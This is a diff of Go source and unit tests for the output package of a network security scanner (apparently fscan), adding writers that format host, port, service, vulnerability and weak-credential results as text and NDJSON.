||||||
|
if result == nil {
|
||||||
|
return fmt.Errorf("result cannot be nil")
|
||||||
|
}
|
||||||
|
|
||||||
|
return m.writer.Write(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Flush 刷新输出
|
||||||
|
func (m *Manager) Flush() error {
|
||||||
|
m.mu.RLock()
|
||||||
|
defer m.mu.RUnlock()
|
||||||
|
|
||||||
|
if m.closed {
|
||||||
|
return fmt.Errorf("output manager is closed")
|
||||||
|
}
|
||||||
|
|
||||||
|
return m.writer.Flush()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭输出管理器
|
||||||
|
func (m *Manager) Close() error {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
|
||||||
|
if m.closed {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
m.closed = true
|
||||||
|
if m.writer != nil {
|
||||||
|
return m.writer.Close()
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,160 @@
|
|||||||
|
package output
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
type StdoutNDJSONWriter struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
writer *bufio.Writer
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewStdoutNDJSONWriter() *StdoutNDJSONWriter {
|
||||||
|
return &StdoutNDJSONWriter{
|
||||||
|
writer: bufio.NewWriter(os.Stdout),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ndjsonRecord NDJSON 输出的扁平化结构
|
||||||
|
type ndjsonRecord struct {
|
||||||
|
Type ResultType `json:"type"`
|
||||||
|
Target string `json:"target"`
|
||||||
|
Status string `json:"status"`
|
||||||
|
Host string `json:"host,omitempty"`
|
||||||
|
Port int `json:"port,omitempty"`
|
||||||
|
Service string `json:"service,omitempty"`
|
||||||
|
// 通用可选字段
|
||||||
|
Protocol string `json:"protocol,omitempty"`
|
||||||
|
Banner string `json:"banner,omitempty"`
|
||||||
|
Title string `json:"title,omitempty"`
|
||||||
|
URL string `json:"url,omitempty"`
|
||||||
|
// 漏洞/弱口令
|
||||||
|
Vulnerability string `json:"vulnerability,omitempty"`
|
||||||
|
Username string `json:"username,omitempty"`
|
||||||
|
Password string `json:"password,omitempty"`
|
||||||
|
// 其他
|
||||||
|
Plugin string `json:"plugin,omitempty"`
|
||||||
|
Version string `json:"version,omitempty"`
|
||||||
|
OS string `json:"os,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *StdoutNDJSONWriter) WriteResult(result *ScanResult) error {
|
||||||
|
w.mu.Lock()
|
||||||
|
defer w.mu.Unlock()
|
||||||
|
|
||||||
|
rec := w.flatten(result)
|
||||||
|
data, err := json.Marshal(rec)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
data = append(data, '\n')
|
||||||
|
if _, err := w.writer.Write(data); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return w.writer.Flush()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *StdoutNDJSONWriter) flatten(r *ScanResult) *ndjsonRecord {
|
||||||
|
rec := &ndjsonRecord{
|
||||||
|
Type: r.Type,
|
||||||
|
Target: r.Target,
|
||||||
|
Status: r.Status,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从 target 拆分 host:port
|
||||||
|
if host, port, ok := splitHostPort(r.Target); ok {
|
||||||
|
rec.Host = host
|
||||||
|
rec.Port = port
|
||||||
|
} else {
|
||||||
|
rec.Host = r.Target
|
||||||
|
}
|
||||||
|
|
||||||
|
d := r.Details
|
||||||
|
if d == nil {
|
||||||
|
return rec
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从 details 提升一级字段(覆盖拆分结果)
|
||||||
|
if v, ok := d["port"]; ok {
|
||||||
|
if p, ok := toInt(v); ok {
|
||||||
|
rec.Port = p
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rec.Service = strVal(d, "service")
|
||||||
|
rec.Protocol = strVal(d, "protocol")
|
||||||
|
if banner := strVal(d, "banner"); len(banner) > 200 {
|
||||||
|
rec.Banner = banner[:200] + "..."
|
||||||
|
} else {
|
||||||
|
rec.Banner = banner
|
||||||
|
}
|
||||||
|
rec.Title = strVal(d, "title")
|
||||||
|
rec.URL = strVal(d, "url")
|
||||||
|
rec.Vulnerability = strVal(d, "vulnerability")
|
||||||
|
if rec.Vulnerability == "" {
|
||||||
|
rec.Vulnerability = strVal(d, "vulnerability_name")
|
||||||
|
}
|
||||||
|
rec.Username = strVal(d, "username")
|
||||||
|
rec.Password = strVal(d, "password")
|
||||||
|
rec.Plugin = strVal(d, "plugin")
|
||||||
|
rec.Version = strVal(d, "version")
|
||||||
|
rec.OS = strVal(d, "os")
|
||||||
|
|
||||||
|
return rec
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *StdoutNDJSONWriter) Close() error {
|
||||||
|
w.mu.Lock()
|
||||||
|
defer w.mu.Unlock()
|
||||||
|
return w.writer.Flush()
|
||||||
|
}
|
||||||
|
|
||||||
|
func strVal(d map[string]interface{}, key string) string {
|
||||||
|
v, ok := d[key]
|
||||||
|
if !ok {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
s, ok := v.(string)
|
||||||
|
if !ok {
|
||||||
|
return fmt.Sprintf("%v", v)
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
func toInt(v interface{}) (int, bool) {
|
||||||
|
switch n := v.(type) {
|
||||||
|
case int:
|
||||||
|
return n, true
|
||||||
|
case int64:
|
||||||
|
return int(n), true
|
||||||
|
case float64:
|
||||||
|
return int(n), true
|
||||||
|
}
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
|
||||||
|
func splitHostPort(target string) (string, int, bool) {
|
||||||
|
host, portText, err := net.SplitHostPort(target)
|
||||||
|
if err != nil {
|
||||||
|
if strings.Count(target, ":") != 1 {
|
||||||
|
return "", 0, false
|
||||||
|
}
|
||||||
|
parts := strings.SplitN(target, ":", 2)
|
||||||
|
host, portText = parts[0], parts[1]
|
||||||
|
}
|
||||||
|
port, err := strconv.Atoi(portText)
|
||||||
|
if err != nil {
|
||||||
|
return "", 0, false
|
||||||
|
}
|
||||||
|
if host == "" || port < 1 || port > 65535 {
|
||||||
|
return "", 0, false
|
||||||
|
}
|
||||||
|
return host, port, true
|
||||||
|
}
|
||||||
@@ -0,0 +1,122 @@
|
|||||||
|
package output
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestSplitHostPort(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
target string
|
||||||
|
wantHost string
|
||||||
|
wantPort int
|
||||||
|
wantOK bool
|
||||||
|
}{
|
||||||
|
{name: "ipv4", target: "192.168.1.1:80", wantHost: "192.168.1.1", wantPort: 80, wantOK: true},
|
||||||
|
{name: "hostname", target: "example.com:443", wantHost: "example.com", wantPort: 443, wantOK: true},
|
||||||
|
{name: "bracketed ipv6", target: "[2001:db8::1]:8443", wantHost: "2001:db8::1", wantPort: 8443, wantOK: true},
|
||||||
|
{name: "bare ipv6 without port", target: "2001:db8::1", wantOK: false},
|
||||||
|
{name: "invalid port", target: "example.com:abc", wantOK: false},
|
||||||
|
{name: "port out of range", target: "example.com:65536", wantOK: false},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
host, port, ok := splitHostPort(tt.target)
|
||||||
|
if ok != tt.wantOK {
|
||||||
|
t.Fatalf("splitHostPort(%q) ok = %v, want %v", tt.target, ok, tt.wantOK)
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if host != tt.wantHost || port != tt.wantPort {
|
||||||
|
t.Fatalf("splitHostPort(%q) = (%q, %d), want (%q, %d)", tt.target, host, port, tt.wantHost, tt.wantPort)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNewStdoutNDJSONWriter(t *testing.T) {
|
||||||
|
writer := NewStdoutNDJSONWriter()
|
||||||
|
if writer == nil || writer.writer == nil {
|
||||||
|
t.Fatalf("NewStdoutNDJSONWriter = %#v, want initialized writer", writer)
|
||||||
|
}
|
||||||
|
if err := writer.Close(); err != nil {
|
||||||
|
t.Fatalf("Close error = %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestStdoutNDJSONWriterWriteResult(t *testing.T) {
|
||||||
|
var buf bytes.Buffer
|
||||||
|
writer := &StdoutNDJSONWriter{writer: bufio.NewWriter(&buf)}
|
||||||
|
|
||||||
|
result := &ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: "[2001:db8::1]:8443",
|
||||||
|
Status: "OPEN",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": float64(9443),
|
||||||
|
"service": "https",
|
||||||
|
"protocol": "tcp",
|
||||||
|
"banner": 123,
|
||||||
|
"title": "admin",
|
||||||
|
"url": "https://[2001:db8::1]:8443",
|
||||||
|
"vulnerability": "weak credential",
|
||||||
|
"username": "admin",
|
||||||
|
"password": "secret",
|
||||||
|
"plugin": "webtitle",
|
||||||
|
"version": "1.2.3",
|
||||||
|
"os": "linux",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := writer.WriteResult(result); err != nil {
|
||||||
|
t.Fatalf("WriteResult error = %v", err)
|
||||||
|
}
|
||||||
|
if err := writer.Close(); err != nil {
|
||||||
|
t.Fatalf("Close error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var rec ndjsonRecord
|
||||||
|
if err := json.Unmarshal(bytes.TrimSpace(buf.Bytes()), &rec); err != nil {
|
||||||
|
t.Fatalf("invalid ndjson output %q: %v", buf.String(), err)
|
||||||
|
}
|
||||||
|
if rec.Host != "2001:db8::1" || rec.Port != 9443 {
|
||||||
|
t.Fatalf("host/port = %q/%d", rec.Host, rec.Port)
|
||||||
|
}
|
||||||
|
if rec.Service != "https" || rec.Protocol != "tcp" || rec.Banner != "123" || rec.Title != "admin" {
|
||||||
|
t.Fatalf("flattened fields missing: %#v", rec)
|
||||||
|
}
|
||||||
|
if rec.URL != "https://[2001:db8::1]:8443" || rec.Vulnerability != "weak credential" {
|
||||||
|
t.Fatalf("url/vuln fields missing: %#v", rec)
|
||||||
|
}
|
||||||
|
if rec.Username != "admin" || rec.Password != "secret" || rec.Plugin != "webtitle" || rec.Version != "1.2.3" || rec.OS != "linux" {
|
||||||
|
t.Fatalf("credential/plugin fields missing: %#v", rec)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestStdoutNDJSONFlattenFallbacks(t *testing.T) {
|
||||||
|
writer := &StdoutNDJSONWriter{writer: bufio.NewWriter(&bytes.Buffer{})}
|
||||||
|
|
||||||
|
rec := writer.flatten(&ScanResult{
|
||||||
|
Type: TypeHost,
|
||||||
|
Target: "2001:db8::1",
|
||||||
|
Status: "ALIVE",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": int64(22),
|
||||||
|
},
|
||||||
|
})
|
||||||
|
if rec.Host != "2001:db8::1" || rec.Port != 22 {
|
||||||
|
t.Fatalf("flatten fallback = %#v", rec)
|
||||||
|
}
|
||||||
|
|
||||||
|
if got, ok := toInt("22"); ok || got != 0 {
|
||||||
|
t.Fatalf("toInt string = %d/%v, want 0/false", got, ok)
|
||||||
|
}
|
||||||
|
if got := strVal(map[string]interface{}{}, "missing"); got != "" {
|
||||||
|
t.Fatalf("missing strVal = %q, want empty", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
package output
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"sort"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ScanResult 扫描结果结构
|
||||||
|
type ScanResult struct {
|
||||||
|
Time time.Time `json:"time"` // 发现时间
|
||||||
|
Type ResultType `json:"type"` // 结果类型
|
||||||
|
Target string `json:"target"` // 目标(IP/域名/URL)
|
||||||
|
Status string `json:"status"` // 状态描述
|
||||||
|
Details map[string]interface{} `json:"details"` // 详细信息
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatDetails 格式化Details为键值对字符串(排序key以保证输出稳定)
|
||||||
|
func (r *ScanResult) FormatDetails(separator, kvFormat string) string {
|
||||||
|
if len(r.Details) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
keys := make([]string, 0, len(r.Details))
|
||||||
|
for key := range r.Details {
|
||||||
|
keys = append(keys, key)
|
||||||
|
}
|
||||||
|
sort.Strings(keys)
|
||||||
|
|
||||||
|
pairs := make([]string, 0, len(keys))
|
||||||
|
for _, key := range keys {
|
||||||
|
pairs = append(pairs, fmt.Sprintf(kvFormat, key, r.Details[key]))
|
||||||
|
}
|
||||||
|
return strings.Join(pairs, separator)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Writer 输出写入器接口
|
||||||
|
type Writer interface {
|
||||||
|
Write(result *ScanResult) error
|
||||||
|
WriteHeader() error
|
||||||
|
Flush() error
|
||||||
|
Close() error
|
||||||
|
GetFormat() Format
|
||||||
|
}
|
||||||
|
|
||||||
|
// ManagerConfig 输出管理器配置
|
||||||
|
type ManagerConfig struct {
|
||||||
|
OutputPath string `json:"output_path"` // 输出路径
|
||||||
|
Format Format `json:"format"` // 输出格式
|
||||||
|
}
|
||||||
|
|
||||||
|
// DefaultManagerConfig 默认管理器配置
|
||||||
|
func DefaultManagerConfig(outputPath string, format Format) *ManagerConfig {
|
||||||
|
return &ManagerConfig{
|
||||||
|
OutputPath: outputPath,
|
||||||
|
Format: format,
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,812 @@
|
|||||||
|
package output
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"encoding/csv"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
|
)
|
||||||
|
|
||||||
|
// escapeControlChars 转义控制字符
|
||||||
|
func escapeControlChars(s string) string {
|
||||||
|
s = strings.ToValidUTF8(s, "?")
|
||||||
|
|
||||||
|
var b strings.Builder
|
||||||
|
for _, r := range s {
|
||||||
|
switch r {
|
||||||
|
case '\n':
|
||||||
|
b.WriteString("\\n")
|
||||||
|
case '\r':
|
||||||
|
b.WriteString("\\r")
|
||||||
|
case '\t':
|
||||||
|
b.WriteString("\\t")
|
||||||
|
default:
|
||||||
|
if r < 0x20 || r == 0x7f {
|
||||||
|
fmt.Fprintf(&b, "\\x%02x", r)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
b.WriteRune(r)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func truncateString(s string, maxRunes int) string {
|
||||||
|
if maxRunes < 0 {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
for i := range s {
|
||||||
|
if maxRunes == 0 {
|
||||||
|
return s[:i] + "..."
|
||||||
|
}
|
||||||
|
maxRunes--
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
func targetWithPort(target string, port interface{}) string {
|
||||||
|
if port == nil {
|
||||||
|
return target
|
||||||
|
}
|
||||||
|
if _, _, err := net.SplitHostPort(target); err == nil {
|
||||||
|
return target
|
||||||
|
}
|
||||||
|
portText := fmt.Sprint(port)
|
||||||
|
if strings.TrimSpace(portText) == "" {
|
||||||
|
return target
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(target, "[") && strings.HasSuffix(target, "]") {
|
||||||
|
target = strings.TrimPrefix(strings.TrimSuffix(target, "]"), "[")
|
||||||
|
}
|
||||||
|
if strings.Count(target, ":") == 1 {
|
||||||
|
return target
|
||||||
|
}
|
||||||
|
return net.JoinHostPort(target, portText)
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// TXTWriter - 文本格式写入器
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TXTWriter 文本格式写入器(分类缓冲,按类型聚合输出)
|
||||||
|
type TXTWriter struct {
|
||||||
|
file *os.File
|
||||||
|
bufWriter *bufio.Writer
|
||||||
|
mu sync.Mutex
|
||||||
|
closed bool
|
||||||
|
buffer *ResultBuffer // 内存分类缓冲
|
||||||
|
realtimeFile *os.File // 实时备份文件
|
||||||
|
realtimePath string // 实时备份文件路径
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewTXTWriter 创建文本写入器
|
||||||
|
func NewTXTWriter(filePath string) (*TXTWriter, error) {
|
||||||
|
file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create TXT file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建实时备份文件(防崩溃丢数据)
|
||||||
|
realtimePath := filePath + ".realtime.tmp"
|
||||||
|
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||||
|
if err != nil {
|
||||||
|
file.Close()
|
||||||
|
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &TXTWriter{
|
||||||
|
file: file,
|
||||||
|
bufWriter: bufio.NewWriter(file),
|
||||||
|
buffer: NewResultBuffer(),
|
||||||
|
realtimeFile: realtimeFile,
|
||||||
|
realtimePath: realtimePath,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// WriteHeader 写入头部
|
||||||
|
func (w *TXTWriter) WriteHeader() error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write 收集扫描结果到分类缓冲,同时实时备份
|
||||||
|
func (w *TXTWriter) Write(result *ScanResult) error {
|
||||||
|
w.mu.Lock()
|
||||||
|
defer w.mu.Unlock()
|
||||||
|
|
||||||
|
if w.closed {
|
||||||
|
return fmt.Errorf("writer is closed")
|
||||||
|
}
|
||||||
|
if result == nil {
|
||||||
|
return fmt.Errorf("result cannot be nil")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. 加入内存分类缓冲(用于最终有序输出)
|
||||||
|
w.buffer.Add(result)
|
||||||
|
|
||||||
|
// 2. 实时写入备份文件(防崩溃丢数据)
|
||||||
|
if w.realtimeFile != nil {
|
||||||
|
line := w.formatLine(result)
|
||||||
|
if _, err := w.realtimeFile.WriteString(line + "\n"); err != nil {
|
||||||
|
return fmt.Errorf("failed to write realtime backup: %w", err)
|
||||||
|
}
|
||||||
|
if err := w.realtimeFile.Sync(); err != nil {
|
||||||
|
return fmt.Errorf("failed to sync realtime backup: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// getSeparator 获取分隔线文本
|
||||||
|
func (w *TXTWriter) getSeparator(newType ResultType) string {
|
||||||
|
switch newType {
|
||||||
|
case TypeHost:
|
||||||
|
return i18n.GetText("output_section_hosts")
|
||||||
|
case TypePort:
|
||||||
|
return i18n.GetText("output_section_ports")
|
||||||
|
case TypeService:
|
||||||
|
return i18n.GetText("output_section_services")
|
||||||
|
case TypeVuln:
|
||||||
|
return i18n.GetText("output_section_vulns")
|
||||||
|
default:
|
||||||
|
return "# ===================="
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// formatLine 根据结果类型格式化输出行
|
||||||
|
func (w *TXTWriter) formatLine(result *ScanResult) string {
|
||||||
|
switch result.Type {
|
||||||
|
case TypeHost:
|
||||||
|
return result.Target
|
||||||
|
case TypePort:
|
||||||
|
port := w.getDetail(result, "port")
|
||||||
|
if port != nil {
|
||||||
|
return targetWithPort(result.Target, port)
|
||||||
|
}
|
||||||
|
return result.Target
|
||||||
|
case TypeService:
|
||||||
|
return w.formatServiceLine(result)
|
||||||
|
case TypeVuln:
|
||||||
|
return w.formatVulnLine(result)
|
||||||
|
default:
|
||||||
|
return result.Target
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// formatServiceLine 格式化服务识别结果
|
||||||
|
func (w *TXTWriter) formatServiceLine(result *ScanResult) string {
|
||||||
|
service := w.getDetailStr(result, "service")
|
||||||
|
banner := w.getDetailStr(result, "banner")
|
||||||
|
|
||||||
|
// 判断是否为Web服务
|
||||||
|
isWebFlag := false
|
||||||
|
if v, ok := w.getDetail(result, "is_web").(bool); ok && v {
|
||||||
|
isWebFlag = true
|
||||||
|
}
|
||||||
|
if !isWebFlag {
|
||||||
|
if w.getDetail(result, "status") != nil || w.getDetailStr(result, "server") != "" {
|
||||||
|
isWebFlag = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if isWebFlag || service == "http" || service == "https" {
|
||||||
|
return w.formatWebServiceLine(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 非Web服务:ip:port service banner
|
||||||
|
target := targetWithPort(result.Target, w.getDetail(result, "port"))
|
||||||
|
|
||||||
|
var parts []string
|
||||||
|
parts = append(parts, target)
|
||||||
|
if service != "" {
|
||||||
|
parts = append(parts, service)
|
||||||
|
}
|
||||||
|
if banner != "" {
|
||||||
|
banner = escapeControlChars(banner)
|
||||||
|
banner = truncateString(banner, 100)
|
||||||
|
parts = append(parts, banner)
|
||||||
|
}
|
||||||
|
return strings.Join(parts, " ")
|
||||||
|
}
|
||||||
|
|
||||||
|
// formatWebServiceLine 格式化Web服务结果
|
||||||
|
func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string {
|
||||||
|
target := targetWithPort(result.Target, w.getDetail(result, "port"))
|
||||||
|
|
||||||
|
url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)
|
||||||
|
title := w.getDetailStr(result, "title")
|
||||||
|
status := w.getDetail(result, "status")
|
||||||
|
server := w.getDetailStr(result, "server")
|
||||||
|
fingerprints := w.getFingerprints(result)
|
||||||
|
|
||||||
|
var parts []string
|
||||||
|
parts = append(parts, url)
|
||||||
|
if title != "" {
|
||||||
|
parts = append(parts, fmt.Sprintf("[%s]", title))
|
||||||
|
}
|
||||||
|
if status != nil && status != 0 {
|
||||||
|
parts = append(parts, fmt.Sprintf("%v", status))
|
||||||
|
}
|
||||||
|
if server != "" {
|
||||||
|
parts = append(parts, server)
|
||||||
|
}
|
||||||
|
if len(fingerprints) > 0 {
|
||||||
|
parts = append(parts, fingerprints)
|
||||||
|
}
|
||||||
|
return strings.Join(parts, " ")
|
||||||
|
}
|
||||||
|
|
||||||
|
// getFingerprints 获取指纹信息并格式化
|
||||||
|
func (w *TXTWriter) getFingerprints(result *ScanResult) string {
|
||||||
|
fp := w.getDetail(result, "fingerprints")
|
||||||
|
if fp == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
switch v := fp.(type) {
|
||||||
|
case []string:
|
||||||
|
if len(v) > 0 {
|
||||||
|
return "[" + strings.Join(v, ",") + "]"
|
||||||
|
}
|
||||||
|
case []interface{}:
|
||||||
|
if len(v) > 0 {
|
||||||
|
var fps []string
|
||||||
|
for _, f := range v {
|
||||||
|
fps = append(fps, fmt.Sprintf("%v", f))
|
||||||
|
}
|
||||||
|
return "[" + strings.Join(fps, ",") + "]"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// formatVulnLine 格式化漏洞发现结果
|
||||||
|
func (w *TXTWriter) formatVulnLine(result *ScanResult) string {
|
||||||
|
vulnType := w.getDetailStr(result, "type")
|
||||||
|
|
||||||
|
if vulnType == "weak_credential" {
|
||||||
|
username := w.getDetailStr(result, "username")
|
||||||
|
password := w.getDetailStr(result, "password")
|
||||||
|
service := w.getDetailStr(result, "service")
|
||||||
|
|
||||||
|
if service != "" {
|
||||||
|
return fmt.Sprintf("%s %s %s/%s", result.Target, service, username, password)
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("%s %s/%s", result.Target, username, password)
|
||||||
|
}
|
||||||
|
|
||||||
|
vuln := w.getDetailStr(result, "vulnerability")
|
||||||
|
if vuln == "" {
|
||||||
|
vuln = w.getDetailStr(result, "vulnerability_name")
|
||||||
|
}
|
||||||
|
if vuln != "" {
|
||||||
|
return fmt.Sprintf("%s %s", result.Target, vuln)
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("%s %s", result.Target, result.Status)
|
||||||
|
}
|
||||||
|
|
||||||
|
// getDetail 获取详情字段值
|
||||||
|
func (w *TXTWriter) getDetail(result *ScanResult, key string) interface{} {
|
||||||
|
if result.Details == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return result.Details[key]
|
||||||
|
}
|
||||||
|
|
||||||
|
// getDetailStr 获取详情字段字符串值
|
||||||
|
func (w *TXTWriter) getDetailStr(result *ScanResult, key string) string {
|
||||||
|
val := w.getDetail(result, key)
|
||||||
|
if val == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if s, ok := val.(string); ok {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("%v", val)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Flush 刷新写入器
|
||||||
|
func (w *TXTWriter) Flush() error {
|
||||||
|
w.mu.Lock()
|
||||||
|
defer w.mu.Unlock()
|
||||||
|
|
||||||
|
if w.closed {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := w.bufWriter.Flush(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return w.file.Sync()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭写入器(清理资源,删除临时备份)
|
||||||
|
func (w *TXTWriter) Close() error {
|
||||||
|
w.mu.Lock()
|
||||||
|
defer w.mu.Unlock()
|
||||||
|
|
||||||
|
if w.closed {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 按顺序写入所有分类结果
|
||||||
|
w.writeSection(TypeHost, w.buffer.HostResults)
|
||||||
|
w.writeSection(TypePort, w.buffer.PortResults)
|
||||||
|
w.writeSection(TypeService, w.buffer.ServiceResults)
|
||||||
|
w.writeSection(TypeVuln, w.buffer.VulnResults)
|
||||||
|
|
||||||
|
// 单独输出 Web 服务列表(便于复制测试)
|
||||||
|
w.writeWebServices()
|
||||||
|
|
||||||
|
w.closed = true
|
||||||
|
|
||||||
|
// 关闭并删除实时备份文件(正常结束,不再需要)
|
||||||
|
if w.realtimeFile != nil {
|
||||||
|
w.realtimeFile.Close()
|
||||||
|
os.Remove(w.realtimePath)
|
||||||
|
}
|
||||||
|
|
||||||
|
var firstErr error
|
||||||
|
if err := w.bufWriter.Flush(); err != nil {
|
||||||
|
firstErr = err
|
||||||
|
}
|
||||||
|
if err := w.file.Sync(); err != nil && firstErr == nil {
|
||||||
|
firstErr = err
|
||||||
|
}
|
||||||
|
if err := w.file.Close(); err != nil && firstErr == nil {
|
||||||
|
firstErr = err
|
||||||
|
}
|
||||||
|
return firstErr
|
||||||
|
}
|
||||||
|
|
||||||
|
// writeSection 写入一个分类的所有结果
|
||||||
|
func (w *TXTWriter) writeSection(resultType ResultType, results []*ScanResult) {
|
||||||
|
if len(results) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
separator := w.getSeparator(resultType)
|
||||||
|
_, _ = w.bufWriter.WriteString(separator + "\n")
|
||||||
|
|
||||||
|
for _, result := range results {
|
||||||
|
line := w.formatLine(result)
|
||||||
|
if line != "" {
|
||||||
|
_, _ = w.bufWriter.WriteString(line + "\n")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_, _ = w.bufWriter.WriteString("\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
// writeWebServices 单独输出 Web 服务 URL 列表
|
||||||
|
func (w *TXTWriter) writeWebServices() {
|
||||||
|
var urls []string
|
||||||
|
|
||||||
|
for _, result := range w.buffer.ServiceResults {
|
||||||
|
if !w.isWebService(result) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
target := targetWithPort(result.Target, w.getDetail(result, "port"))
|
||||||
|
|
||||||
|
urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target))
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(urls) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
_, _ = w.bufWriter.WriteString(i18n.GetText("output_section_web_services") + "\n")
|
||||||
|
for _, url := range urls {
|
||||||
|
_, _ = w.bufWriter.WriteString(url + "\n")
|
||||||
|
}
|
||||||
|
_, _ = w.bufWriter.WriteString("\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
// isWebService 判断是否为 Web 服务
|
||||||
|
func (w *TXTWriter) isWebService(result *ScanResult) bool {
|
||||||
|
if v, ok := w.getDetail(result, "is_web").(bool); ok && v {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if w.getDetail(result, "status") != nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
